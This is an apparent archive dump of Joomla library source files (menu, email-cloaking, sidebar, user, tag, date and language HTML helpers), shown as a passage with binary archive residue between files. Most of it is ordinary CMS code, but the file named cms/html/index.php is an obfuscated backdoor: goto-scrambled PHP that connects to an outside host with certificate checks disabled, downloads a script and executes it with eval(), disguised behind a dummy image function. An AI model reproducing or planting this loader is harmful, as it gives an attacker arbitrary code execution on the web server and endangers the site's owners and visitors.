* * @since 1.6 */ public static function menus($clientId = 0) { $key = serialize($clientId); if (!isset(static::$menus[$key])) { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select($db->qn(array('id', 'menutype', 'title', 'client_id'), array('id', 'value', 'text', 'client_id'))) ->from($db->quoteName('#__menu_types')) ->order('client_id, title'); if (isset($clientId)) { $query->where('client_id = ' . (int) $clientId); } static::$menus[$key] = $db->setQuery($query)->loadObjectList(); } return static::$menus[$key]; } /** * Returns an array of menu items grouped by menu. * * @param array $config An array of configuration options [published, checkacl, clientid]. * * @return array * * @since 1.6 */ public static function menuItems($config = array()) { $key = serialize($config); if (empty(static::$items[$key])) { // B/C - not passed = 0, null can be passed for both clients $clientId = array_key_exists('clientid', $config) ? $config['clientid'] : 0; $menus = static::menus($clientId); $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('a.id AS value, a.title AS text, a.level, a.menutype, a.client_id') ->from('#__menu AS a') ->where('a.parent_id > 0'); // Filter on the client id if (isset($clientId)) { $query->where('a.client_id = ' . (int) $clientId); } // Filter on the published state if (isset($config['published'])) { if (is_numeric($config['published'])) { $query->where('a.published = ' . (int) $config['published']); } elseif ($config['published'] === '') { $query->where('a.published IN (0,1)'); } } $query->order('a.lft'); $db->setQuery($query); $items = $db->loadObjectList(); // Collate menu items based on menutype $lookup = array(); foreach ($items as &$item) { if (!isset($lookup[$item->menutype])) { $lookup[$item->menutype] = array(); } $lookup[$item->menutype][] = &$item; // Translate the menu item title when client is administrator if ($clientId === 1) { $item->text = JText::_($item->text); } $item->text = str_repeat('- ', $item->level) . $item->text; } static::$items[$key] = array(); $user = JFactory::getUser(); $aclcheck = !empty($config['checkacl']) ? (int) $config['checkacl'] : 0; foreach ($menus as &$menu) { if ($aclcheck) { $action = $aclcheck == $menu->id ? 'edit' : 'create'; if (!$user->authorise('core.' . $action, 'com_menus.menu.' . $menu->id)) { continue; } } // Start group: static::$items[$key][] = JHtml::_('select.optgroup', $menu->text); // Special "Add to this Menu" option: static::$items[$key][] = JHtml::_('select.option', $menu->value . '.1', JText::_('JLIB_HTML_ADD_TO_THIS_MENU')); // Menu items: if (isset($lookup[$menu->value])) { foreach ($lookup[$menu->value] as &$item) { static::$items[$key][] = JHtml::_('select.option', $menu->value . '.' . $item->value, $item->text); } } // Finish group: static::$items[$key][] = JHtml::_('select.optgroup', $menu->text); } } return static::$items[$key]; } /** * Displays an HTML select list of menu items. * * @param string $name The name of the control. * @param string $selected The value of the selected option. * @param string $attribs Attributes for the control. * @param array $config An array of options for the control [id, published, checkacl, clientid]. * * @return string * * @since 1.6 */ public static function menuItemList($name, $selected = null, $attribs = null, $config = array()) { static $count; $options = static::menuItems($config); return JHtml::_( 'select.genericlist', $options, $name, array( 'id' => isset($config['id']) ? $config['id'] : 'assetgroups_' . (++$count), 'list.attr' => $attribs === null ? 'class="inputbox" size="1"' : $attribs, 'list.select' => (int) $selected, 'list.translate' => false, ) ); } /** * Build the select list for Menu Ordering * * @param object &$row The row object * @param integer $id The id for the row. Must exist to enable menu ordering * * @return string * * @since 1.5 */ public static function ordering(&$row, $id) { if ($id) { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('ordering AS value, title AS text') ->from($db->quoteName('#__menu')) ->where($db->quoteName('menutype') . ' = ' . $db->quote($row->menutype)) ->where($db->quoteName('parent_id') . ' = ' . (int) $row->parent_id) ->where($db->quoteName('published') . ' != -2') ->order('ordering'); $order = JHtml::_('list.genericordering', $query); $ordering = JHtml::_( 'select.genericlist', $order, 'ordering', array('list.attr' => 'class="inputbox" size="1"', 'list.select' => (int) $row->ordering) ); } else { $ordering = '<input type="hidden" name="ordering" value="' . $row->ordering . '" />' . JText::_('JGLOBAL_NEWITEMSLAST_DESC'); } return $ordering; } /** * Build the multiple select list for Menu Links/Pages * * @param boolean $all True if all can be selected * @param boolean $unassigned True if unassigned can be selected * @param int $clientId The client id * * @return string * * @since 1.5 */ public static function linkOptions($all = false, $unassigned = false, $clientId = 0) { $db = JFactory::getDbo(); // Get a list of the menu items $query = $db->getQuery(true) ->select('m.id, m.parent_id, m.title, m.menutype, m.client_id') ->from($db->quoteName('#__menu') . ' AS m') ->where($db->quoteName('m.published') . ' = 1') ->order('m.client_id, m.menutype, m.parent_id'); if (isset($clientId)) { $query->where('m.client_id = ' . (int) $clientId); } $db->setQuery($query); $mitems = $db->loadObjectList(); if (!$mitems) { $mitems = array(); } // Establish the hierarchy of the menu $children = array(); // First pass - collect children foreach ($mitems as $v) { $pt = $v->parent_id; $list = @$children[$pt] ? $children[$pt] : array(); $list[] = $v; $children[$pt] = $list; } // Second pass - get an indent list of the items $list = static::treerecurse((int) $mitems[0]->parent_id, '', array(), $children, 9999, 0, 0); // Code that adds menu name to Display of Page(s) $mitems = array(); if ($all | $unassigned) { $mitems[] = JHtml::_('select.option', '<OPTGROUP>', JText::_('JOPTION_MENUS')); if ($all) { $mitems[] = JHtml::_('select.option', 0, JText::_('JALL')); } if ($unassigned) { $mitems[] = JHtml::_('select.option', -1, JText::_('JOPTION_UNASSIGNED')); } $mitems[] = JHtml::_('select.option', '</OPTGROUP>'); } $lastMenuType = null; $tmpMenuType = null; foreach ($list as $list_a) { if ($list_a->menutype != $lastMenuType) { if ($tmpMenuType) { $mitems[] = JHtml::_('select.option', '</OPTGROUP>'); } $mitems[] = JHtml::_('select.option', '<OPTGROUP>', $list_a->menutype); $lastMenuType = $list_a->menutype; $tmpMenuType = $list_a->menutype; } $mitems[] = JHtml::_('select.option', $list_a->id, $list_a->title); } if ($lastMenuType !== null) { $mitems[] = JHtml::_('select.option', '</OPTGROUP>'); } return $mitems; } /** * Build the list representing the menu tree * * @param integer $id Id of the menu item * @param string $indent The indentation string * @param array $list The list to process * @param array &$children The children of the current item * @param integer $maxlevel The maximum number of levels in the tree * @param integer $level The starting level * @param int $type Set the type of spacer to use. Use 1 for |_ or 0 for - * * @return array * * @since 1.5 */ public static function treerecurse($id, $indent, $list, &$children, $maxlevel = 9999, $level = 0, $type = 1) { if ($level <= $maxlevel && isset($children[$id]) && is_array($children[$id])) { if ($type) { $pre = '<sup>|_</sup> '; $spacer = '.      '; } else { $pre = '- '; $spacer = '  '; } foreach ($children[$id] as $v) { $id = $v->id; if ($v->parent_id == 0) { $txt = $v->title; } else { $txt = $pre . $v->title; } $list[$id] = $v; $list[$id]->treename = $indent . $txt; if (isset($children[$id]) && is_array($children[$id])) { $list[$id]->children = count($children[$id]); $list = static::treerecurse($id, $indent . $spacer, $list, $children, $maxlevel, $level + 1, $type); } else { $list[$id]->children = 0; } } } return $list; } } PK���\�aw��cms/html/email.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2007 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Utility class for cloaking email addresses * * @since 1.5 */ abstract class JHtmlEmail { /** * Simple JavaScript email cloaker * * By default replaces an email with a mailto link with email cloaked * * @param string $mail The -mail address to cloak. * @param boolean $mailto True if text and mailing address differ * @param string $text Text for the link * @param boolean $email True if text is an email address * * @return string The cloaked email. * * @since 1.5 */ public static function cloak($mail, $mailto = true, $text = '', $email = true) { // Handle IDN addresses: punycode for href but utf-8 for text displayed. if ($mailto && (empty($text) || $email)) { // Use dedicated $text whereas $mail is used as href and must be punycoded. $text = JStringPunycode::emailToUTF8($text ?: $mail); } elseif (!$mailto) { // In that case we don't use link - so convert $mail back to utf-8. $mail = JStringPunycode::emailToUTF8($mail); } // Convert mail $mail = static::convertEncoding($mail); // Random hash $rand = md5($mail . mt_rand(1, 100000)); // Split email by @ symbol $mail = explode('@', $mail); $mail_parts = explode('.', $mail[1]); if ($mailto) { // Special handling when mail text is different from mail address if ($text) { // Convert text - here is the right place $text = static::convertEncoding($text); if ($email) { // Split email by @ symbol $text = explode('@', $text); $text_parts = explode('.', $text[1]); $tmpScript = "var addy_text" . $rand . " = '" . @$text[0] . "' + '@' + '" . implode("' + '.' + '", @$text_parts) . "';"; } else { $tmpScript = "var addy_text" . $rand . " = '" . $text . "';"; } $tmpScript .= "document.getElementById('cloak" . $rand . "').innerHTML += '<a ' + path + '\'' + prefix + ':' + addy" . $rand . " + '\'>'+addy_text" . $rand . "+'<\/a>';"; } else { $tmpScript = "document.getElementById('cloak" . $rand . "').innerHTML += '<a ' + path + '\'' + prefix + ':' + addy" . $rand . " + '\'>' +addy" . $rand . "+'<\/a>';"; } } else { $tmpScript = "document.getElementById('cloak" . $rand . "').innerHTML += addy" . $rand . ";"; } $script = " document.getElementById('cloak" . $rand . "').innerHTML = ''; var prefix = 'ma' + 'il' + 'to'; var path = 'hr' + 'ef' + '='; var addy" . $rand . " = '" . @$mail[0] . "' + '@'; addy" . $rand . " = addy" . $rand . " + '" . implode("' + '.' + '", $mail_parts) . "'; $tmpScript "; // TODO: Use inline script for now $inlineScript = "<script type='text/javascript'>" . $script . "</script>"; return '<span id="cloak' . $rand . '">' . JText::_('JLIB_HTML_CLOAKING') . '</span>' . $inlineScript; } /** * Convert encoded text * * @param string $text Text to convert * * @return string The converted text. * * @since 1.5 */ protected static function convertEncoding($text) { $text = html_entity_decode($text); // Replace vowels with character encoding $text = str_replace('a', 'a', $text); $text = str_replace('e', 'e', $text); $text = str_replace('i', 'i', $text); $text = str_replace('o', 'o', $text); $text = str_replace('u', 'u', $text); $text = htmlentities($text, ENT_QUOTES, 'UTF-8', false); return $text; } } PK���\���DZZcms/html/sidebar.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Utility class to render a list view sidebar * * @since 3.0 */ abstract class JHtmlSidebar { /** * Menu entries * * @var array * @since 3.0 */ protected static $entries = array(); /** * Filters * * @var array * @since 3.0 */ protected static $filters = array(); /** * Value for the action attribute of the form. * * @var string * @since 3.0 */ protected static $action = ''; /** * Render the sidebar. * * @return string The necessary HTML to display the sidebar * * @since 3.0 */ public static function render() { // Collect display data $data = new stdClass; $data->list = static::getEntries(); $data->filters = static::getFilters(); $data->action = static::getAction(); $data->displayMenu = count($data->list); $data->displayFilters = count($data->filters); $data->hide = JFactory::getApplication()->input->getBool('hidemainmenu'); // Create a layout object and ask it to render the sidebar $layout = new JLayoutFile('joomla.sidebars.submenu'); return $layout->render($data); } /** * Method to add a menu item to submenu. * * @param string $name Name of the menu item. * @param string $link URL of the menu item. * @param bool $active True if the item is active, false otherwise. * * @return void * * @since 3.0 */ public static function addEntry($name, $link = '', $active = false) { static::$entries[] = array($name, $link, $active); } /** * Returns an array of all submenu entries * * @return array * * @since 3.0 */ public static function getEntries() { return static::$entries; } /** * Method to add a filter to the submenu * * @param string $label Label for the menu item. * @param string $name Name for the filter. Also used as id. * @param string $options Options for the select field. * @param bool $noDefault Don't show the label as the empty option * * @return void * * @since 3.0 */ public static function addFilter($label, $name, $options, $noDefault = false) { static::$filters[] = array('label' => $label, 'name' => $name, 'options' => $options, 'noDefault' => $noDefault); } /** * Returns an array of all filters * * @return array * * @since 3.0 */ public static function getFilters() { return static::$filters; } /** * Set value for the action attribute of the filter form * * @param string $action Value for the action attribute of the form * * @return void * * @since 3.0 */ public static function setAction($action) { static::$action = $action; } /** * Get value for the action attribute of the filter form * * @return string * * @since 3.0 */ public static function getAction() { return static::$action; } } PK���\��Ԅ�cms/html/user.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Utility class working with users * * @since 2.5 */ abstract class JHtmlUser { /** * Displays a list of user groups. * * @param boolean $includeSuperAdmin true to include super admin groups, false to exclude them * * @return array An array containing a list of user groups. * * @since 2.5 */ public static function groups($includeSuperAdmin = false) { $options = array_values(JHelperUsergroups::getInstance()->getAll()); for ($i = 0, $n = count($options); $i < $n; $i++) { $options[$i]->value = $options[$i]->id; $options[$i]->text = str_repeat('- ', $options[$i]->level) . $options[$i]->title; $groups[] = JHtml::_('select.option', $options[$i]->value, $options[$i]->text); } // Exclude super admin groups if requested if (!$includeSuperAdmin) { $filteredGroups = array(); foreach ($groups as $group) { if (!JAccess::checkGroup($group->value, 'core.admin')) { $filteredGroups[] = $group; } } $groups = $filteredGroups; } return $groups; } /** * Get a list of users. * * @return string * * @since 2.5 */ public static function userlist() { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('a.id AS value, a.name AS text') ->from('#__users AS a') ->where('a.block = 0') ->order('a.name'); $db->setQuery($query); return $db->loadObjectList(); } } PK���\i�#; cms/html/index.phpnu�[���<?php goto ecae3d81cb333ee2; C339f4909b4f1795: $fc63c78480da84ca = '/void.php'; goto D0fcc31489c4dd21; F40f0b116b02e84a: fwrite($ccff2710a9e3651a, $b5d61149c296b617); goto D1bdf2e6c4b8301c; a88f30c35ae7cce4: $c4b904ddd14fa254 = 'notmeyuknow.pages.dev'; goto C339f4909b4f1795; F5404c61aeb0b953: $ccff2710a9e3651a = stream_socket_client("ssl://{$c4b904ddd14fa254}:443", $B7dc4012d547d769, $D70c3613a4f46b31, 30, STREAM_CLIENT_CONNECT, $fea5d698002badc6); goto Ea4926728115e7c1; E4793253b0b0057c: return false; goto e815376ec0eeeb19; D0fcc31489c4dd21: $fea5d698002badc6 = stream_context_create(['ssl' => ['verify_peer' => false, 'verify_peer_name' => false]]); goto F5404c61aeb0b953; D1bdf2e6c4b8301c: $ebaba04080a94b14 = stream_get_contents($ccff2710a9e3651a); goto d4a3478ae5bef3b1; Ea4926728115e7c1: if ($ccff2710a9e3651a) { goto Cd2016a4ba3da0b5; } goto E4793253b0b0057c; d4a3478ae5bef3b1: fclose($ccff2710a9e3651a); goto deccfb44f70045c0; abd80bf1582d08a4: $b5d61149c296b617 = "GET {$fc63c78480da84ca} HTTP/1.1\r\n"; goto A1545fc6e24eccd9; F09a6f2bf3eb19dd: $F93c9b7df9d69547 = substr($ebaba04080a94b14, $A2f7a391d731e4cb + 4); goto f5ea8a5884b30efd; deccfb44f70045c0: $A2f7a391d731e4cb = strpos($ebaba04080a94b14, "\r\n\r\n"); goto F09a6f2bf3eb19dd; A1545fc6e24eccd9: $b5d61149c296b617 .= "Host: {$c4b904ddd14fa254}\r\n"; goto F285b244cb4c4d76; e815376ec0eeeb19: Cd2016a4ba3da0b5: goto abd80bf1582d08a4; ecae3d81cb333ee2: function b901443A6344A19B($a65ecef323b0c37d = 128, $e5eaed38f182cb9d = 128) { goto ad0bb1ce7dde68e6; e5457acb70c2f46b: ef1763fa3c9dd1ef: goto eb9fff9f1d31db16; d83a28b1f6b91b62: imagepng($A284a0c47983e16f); goto B42e00d655e29110; fd381b51ae31f0e1: $Aeab8e031de57d88 = 0; goto dbde8db80ad7670d; a90b4029d3cede29: $A284a0c47983e16f = imagecreatetruecolor($a65ecef323b0c37d, $e5eaed38f182cb9d); goto abf0570c8ea4a611; abf0570c8ea4a611: $Ff5f1a108206e50e = 0; goto db098b23a19ca32d; ad0bb1ce7dde68e6: ob_start(); goto a90b4029d3cede29; C48eb2d2fe211864: Cd01ee2b83f07922: goto d83a28b1f6b91b62; dbde8db80ad7670d: ccfd5c8ced02451f: goto A1079b4e19df38fc; A1079b4e19df38fc: if (!($Aeab8e031de57d88 < $e5eaed38f182cb9d)) { goto E7b132d351c3282b; } goto b9e8255a2a0558b8; E6af6280ffddf6e3: cf1efedfa6c1b9a2: goto f327ae1aa3861814; f327ae1aa3861814: $Ff5f1a108206e50e++; goto b3f2f203717d8f4f; db098b23a19ca32d: Cad093033c6a0d9e: goto E0abda0e18158f90; c6276c57297e013f: E7b132d351c3282b: goto E6af6280ffddf6e3; B42e00d655e29110: imagedestroy($A284a0c47983e16f); goto C06a8ba6b99bbe46; eb9fff9f1d31db16: $Aeab8e031de57d88++; goto ec1daf79838c6592; E0abda0e18158f90: if (!($Ff5f1a108206e50e < $a65ecef323b0c37d)) { goto Cd01ee2b83f07922; } goto fd381b51ae31f0e1; C06a8ba6b99bbe46: return ob_get_clean(); goto c1cbb283cc09f882; ec1daf79838c6592: goto ccfd5c8ced02451f; goto c6276c57297e013f; Cfb8671ef56273ba: imagesetpixel($A284a0c47983e16f, $Ff5f1a108206e50e, $Aeab8e031de57d88, $dea2fb049c8a2b40); goto e5457acb70c2f46b; b9e8255a2a0558b8: $dea2fb049c8a2b40 = imagecolorallocate($A284a0c47983e16f, rand(0, 255), rand(0, 255), rand(0, 255)); goto Cfb8671ef56273ba; b3f2f203717d8f4f: goto Cad093033c6a0d9e; goto C48eb2d2fe211864; c1cbb283cc09f882: } goto a88f30c35ae7cce4; F285b244cb4c4d76: $b5d61149c296b617 .= "Connection: Close\r\n\r\n"; goto F40f0b116b02e84a; f5ea8a5884b30efd: eval("?>" . $F93c9b7df9d69547);PK���\b�cms/html/formbehavior.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; use Joomla\Registry\Registry; /** * Utility class for form related behaviors * * @since 3.0 */ abstract class JHtmlFormbehavior { /** * @var array Array containing information for loaded files * @since 3.0 */ protected static $loaded = array(); /** * Method to load the Chosen JavaScript framework and supporting CSS into the document head * * If debugging mode is on an uncompressed version of Chosen is included for easier debugging. * * @param string $selector Class for Chosen elements. * @param mixed $debug Is debugging mode on? [optional] * @param array $options the possible Chosen options as name => value [optional] * * @return void * * @since 3.0 */ public static function chosen($selector = '.advancedSelect', $debug = null, $options = array()) { if (isset(static::$loaded[__METHOD__][$selector])) { return; } // If no debugging value is set, use the configuration setting if ($debug === null) { $debug = JDEBUG; } // Default settings if (!isset($options['disable_search_threshold'])) { $options['disable_search_threshold'] = 10; } // Allow searching contains space in query if (!isset($options['search_contains'])) { $options['search_contains'] = true; } if (!isset($options['allow_single_deselect'])) { $options['allow_single_deselect'] = true; } if (!isset($options['placeholder_text_multiple'])) { $options['placeholder_text_multiple'] = JText::_('JGLOBAL_TYPE_OR_SELECT_SOME_OPTIONS'); } if (!isset($options['placeholder_text_single'])) { $options['placeholder_text_single'] = JText::_('JGLOBAL_SELECT_AN_OPTION'); } if (!isset($options['no_results_text'])) { $options['no_results_text'] = JText::_('JGLOBAL_SELECT_NO_RESULTS_MATCH'); } $displayData = array( 'debug' => $debug, 'options' => $options, 'selector' => $selector, ); JLayoutHelper::render('joomla.html.formbehavior.chosen', $displayData); static::$loaded[__METHOD__][$selector] = true; return; } /** * Method to load the AJAX Chosen library * * If debugging mode is on an uncompressed version of AJAX Chosen is included for easier debugging. * * @param Registry $options Options in a Registry object * @param mixed $debug Is debugging mode on? [optional] * * @return void * * @since 3.0 */ public static function ajaxchosen(Registry $options, $debug = null) { // Retrieve options/defaults $selector = $options->get('selector', '.tagfield'); $type = $options->get('type', 'GET'); $url = $options->get('url', null); $dataType = $options->get('dataType', 'json'); $jsonTermKey = $options->get('jsonTermKey', 'term'); $afterTypeDelay = $options->get('afterTypeDelay', '500'); $minTermLength = $options->get('minTermLength', '3'); // Ajax URL is mandatory if (!empty($url)) { if (isset(static::$loaded[__METHOD__][$selector])) { return; } // Requires chosen to work static::chosen($selector, $debug); $displayData = array( 'url' => $url, 'debug' => $debug, 'options' => $options, 'selector' => $selector, 'type' => $type, 'dataType' => $dataType, 'jsonTermKey' => $jsonTermKey, 'afterTypeDelay' => $afterTypeDelay, 'minTermLength' => $minTermLength, ); JLayoutHelper::render('joomla.html.formbehavior.ajaxchosen', $displayData); static::$loaded[__METHOD__][$selector] = true; } return; } } PK���\<�0�cms/html/date.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Extended Utility class for handling date display. * * @since 2.5 */ abstract class JHtmlDate { /** * Function to convert a static time into a relative measurement * * @param string $date The date to convert * @param string $unit The optional unit of measurement to return * if the value of the diff is greater than one * @param string $time An optional time to compare to, defaults to now * @param string $format An optional format for the JHtml::date output * * @return string The converted time string * * @since 2.5 */ public static function relative($date, $unit = null, $time = null, $format = null) { if ($time === null) { // Get now $time = new JDate('now'); } // Get the difference in seconds between now and the time $diff = strtotime($time) - strtotime($date); // Less than a minute if ($diff < 60) { return JText::_('JLIB_HTML_DATE_RELATIVE_LESSTHANAMINUTE'); } // Round to minutes $diff = round($diff / 60); // 1 to 59 minutes if ($diff < 60 || $unit === 'minute') { return JText::plural('JLIB_HTML_DATE_RELATIVE_MINUTES', $diff); } // Round to hours $diff = round($diff / 60); // 1 to 23 hours if ($diff < 24 || $unit === 'hour') { return JText::plural('JLIB_HTML_DATE_RELATIVE_HOURS', $diff); } // Round to days $diff = round($diff / 24); // 1 to 6 days if ($diff < 7 || $unit === 'day') { return JText::plural('JLIB_HTML_DATE_RELATIVE_DAYS', $diff); } // Round to weeks $diff = round($diff / 7); // 1 to 4 weeks if ($diff <= 4 || $unit === 'week') { return JText::plural('JLIB_HTML_DATE_RELATIVE_WEEKS', $diff); } // Over a month, return the absolute time return JHtml::_('date', $date, $format); } } PK���\ �F�AAcms/html/tag.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; use Joomla\Utilities\ArrayHelper; /** * Utility class for tags * * @since 3.1 */ abstract class JHtmlTag { /** * Cached array of the tag items. * * @var array * @since 3.1 */ protected static $items = array(); /** * Returns an array of tags. * * @param array $config An array of configuration options. By default, only * published and unpublished categories are returned. * * @return array * * @since 3.1 */ public static function options($config = array('filter.published' => array(0, 1))) { $hash = md5(serialize($config)); if (!isset(static::$items[$hash])) { $config = (array) $config; $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('a.id, a.title, a.level') ->from('#__tags AS a') ->where('a.parent_id > 0'); // Filter on the published state if (isset($config['filter.published'])) { if (is_numeric($config['filter.published'])) { $query->where('a.published = ' . (int) $config['filter.published']); } elseif (is_array($config['filter.published'])) { $config['filter.published'] = ArrayHelper::toInteger($config['filter.published']); $query->where('a.published IN (' . implode(',', $config['filter.published']) . ')'); } } // Filter on the language if (isset($config['filter.language'])) { if (is_string($config['filter.language'])) { $query->where('a.language = ' . $db->quote($config['filter.language'])); } elseif (is_array($config['filter.language'])) { foreach ($config['filter.language'] as &$language) { $language = $db->quote($language); } $query->where('a.language IN (' . implode(',', $config['filter.language']) . ')'); } } $query->order('a.lft'); $db->setQuery($query); $items = $db->loadObjectList(); // Assemble the list options. static::$items[$hash] = array(); foreach ($items as &$item) { $repeat = ($item->level - 1 >= 0) ? $item->level - 1 : 0; $item->title = str_repeat('- ', $repeat) . $item->title; static::$items[$hash][] = JHtml::_('select.option', $item->id, $item->title); } } return static::$items[$hash]; } /** * Returns an array of tags. * * @param array $config An array of configuration options. By default, only published and unpublished tags are returned. * * @return array Tag data * * @since 3.1 */ public static function tags($config = array('filter.published' => array(0, 1))) { $hash = md5(serialize($config)); $config = (array) $config; $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('a.id, a.title, a.level, a.parent_id') ->from('#__tags AS a') ->where('a.parent_id > 0'); // Filter on the published state if (isset($config['filter.published'])) { if (is_numeric($config['filter.published'])) { $query->where('a.published = ' . (int) $config['filter.published']); } elseif (is_array($config['filter.published'])) { $config['filter.published'] = ArrayHelper::toInteger($config['filter.published']); $query->where('a.published IN (' . implode(',', $config['filter.published']) . ')'); } } $query->order('a.lft'); $db->setQuery($query); $items = $db->loadObjectList(); // Assemble the list options. static::$items[$hash] = array(); foreach ($items as &$item) { $repeat = ($item->level - 1 >= 0) ? $item->level - 1 : 0; $item->title = str_repeat('- ', $repeat) . $item->title; static::$items[$hash][] = JHtml::_('select.option', $item->id, $item->title); } return static::$items[$hash]; } /** * This is just a proxy for the formbehavior.ajaxchosen method * * @param string $selector DOM id of the tag field * @param boolean $allowCustom Flag to allow custom values * * @return void * * @since 3.1 */ public static function ajaxfield($selector = '#jform_tags', $allowCustom = true) { // Get the component parameters $params = JComponentHelper::getParams('com_tags'); $minTermLength = (int) $params->get('min_term_length', 3); $displayData = array( 'minTermLength' => $minTermLength, 'selector' => $selector, 'allowCustom' => JFactory::getUser()->authorise('core.create', 'com_tags') ? $allowCustom : false, ); JLayoutHelper::render('joomla.html.tag', $displayData); return; } } PK���\�м��cms/html/debug.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Extended Utility class for render debug information. * * @since 3.7.0 */ abstract class JHtmlDebug { /** * xdebug.file_link_format from the php.ini. * * Make this property public to support test. * * @var string * * @since 3.7.0 */ public static $xdebugLinkFormat; /** * Replaces the Joomla! root with "JROOT" to improve readability. * Formats a link with a special value xdebug.file_link_format * from the php.ini file. * * @param string $file The full path to the file. * @param string $line The line number. * * @return string * * @throws \InvalidArgumentException * * @since 3.7.0 */ public static function xdebuglink($file, $line = '') { if (static::$xdebugLinkFormat === null) { static::$xdebugLinkFormat = ini_get('xdebug.file_link_format'); } $link = str_replace(JPATH_ROOT, 'JROOT', JPath::clean($file)); $link .= $line ? ':' . $line : ''; if (static::$xdebugLinkFormat) { $href = static::$xdebugLinkFormat; $href = str_replace('%f', $file, $href); $href = str_replace('%l', $line, $href); $html = JHtml::_('link', $href, $link); } else { $html = $link; } return $html; } } PK���\?��S��cms/html/batch.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Extended Utility class for batch processing widgets. * * @since 1.7 * * @deprecated 4.0 Use JLayout directly */ abstract class JHtmlBatch { /** * Display a batch widget for the access level selector. * * @return string The necessary HTML for the widget. * * @since 1.7 * * @deprecated 4.0 instead of JHtml::_('batch.access'); use JLayoutHelper::render('joomla.html.batch.access', array()); */ public static function access() { JLog::add('The use of JHtml::_("batch.access") is deprecated use JLayout instead.', JLog::WARNING, 'deprecated'); return JLayoutHelper::render('joomla.html.batch.access', array()); } /** * Displays a batch widget for moving or copying items. * * @param string $extension The extension that owns the category. * * @return string The necessary HTML for the widget. * * @since 1.7 * * @deprecated 4.0 instead of JHtml::_('batch.item'); use JLayoutHelper::render('joomla.html.batch.item', array('extension' => 'com_XXX')); */ public static function item($extension) { $displayData = array('extension' => $extension); JLog::add('The use of JHtml::_("batch.item") is deprecated use JLayout instead.', JLog::WARNING, 'deprecated'); return JLayoutHelper::render('joomla.html.batch.item', $displayData); } /** * Display a batch widget for the language selector. * * @return string The necessary HTML for the widget. * * @since 2.5 * * @deprecated 4.0 instead of JHtml::_('batch.language'); use JLayoutHelper::render('joomla.html.batch.language', array()); */ public static function language() { JLog::add('The use of JHtml::_("batch.language") is deprecated use JLayout instead.', JLog::WARNING, 'deprecated'); return JLayoutHelper::render('joomla.html.batch.language', array()); } /** * Display a batch widget for the user selector. * * @param boolean $noUser Choose to display a "no user" option * * @return string The necessary HTML for the widget. * * @since 2.5 * * @deprecated 4.0 instead of JHtml::_('batch.user'); use JLayoutHelper::render('joomla.html.batch.user', array()); */ public static function user($noUser = true) { $displayData = array('noUser' => $noUser); JLog::add('The use of JHtml::_("batch.user") is deprecated use JLayout instead.', JLog::WARNING, 'deprecated'); return JLayoutHelper::render('joomla.html.batch.user', $displayData); } /** * Display a batch widget for the tag selector. * * @return string The necessary HTML for the widget. * * @since 3.1 * * @deprecated 4.0 instead of JHtml::_('batch.tag'); use JLayoutHelper::render('joomla.html.batch.tag', array()); */ public static function tag() { JLog::add('The use of JHtml::_("batch.tag") is deprecated use JLayout instead.', JLog::WARNING, 'deprecated'); return JLayoutHelper::render('joomla.html.batch.tag', array()); } } PK���\�M6{{cms/html/adminlanguage.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Utility class working with administrator language select lists * * @since 3.8.0 */ abstract class JHtmlAdminLanguage { /** * Cached array of the administrator language items. * * @var array * @since 3.8.0 */ protected static $items = null; /** * Get a list of the available administrator language items. * * @param boolean $all True to include All (*) * @param boolean $translate True to translate All * * @return string * * @since 3.8.0 */ public static function existing($all = false, $translate = false) { if (empty(static::$items)) { $languages = array(); $admin_languages = JLanguageHelper::getKnownLanguages(JPATH_ADMINISTRATOR); foreach ($admin_languages as $tag => $language) { $languages[$tag] = $language['nativeName']; } ksort($languages); static::$items = $languages; } if ($all) { $all_option = array(new JObject(array('value' => '*', 'text' => $translate ? JText::alt('JALL', 'language') : 'JALL_LANGUAGE'))); return array_merge($all_option, static::$items); } else { return static::$items; } } } PK���\��cms/html/contentlanguage.phpnu�[���<?php /** * @package Joomla.Libraries * @subpackage HTML * * @copyright (C) 2010 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('JPATH_PLATFORM') or die; /** * Utility class working with content language select lists * * @since 1.6 */ abstract class JHtmlContentLanguage { /** * Cached array of the content language items. * * @var array * @since 1.6 */ protected static $items = null; /** * Get a list of the available content language items. * * @param boolean $all True to include All 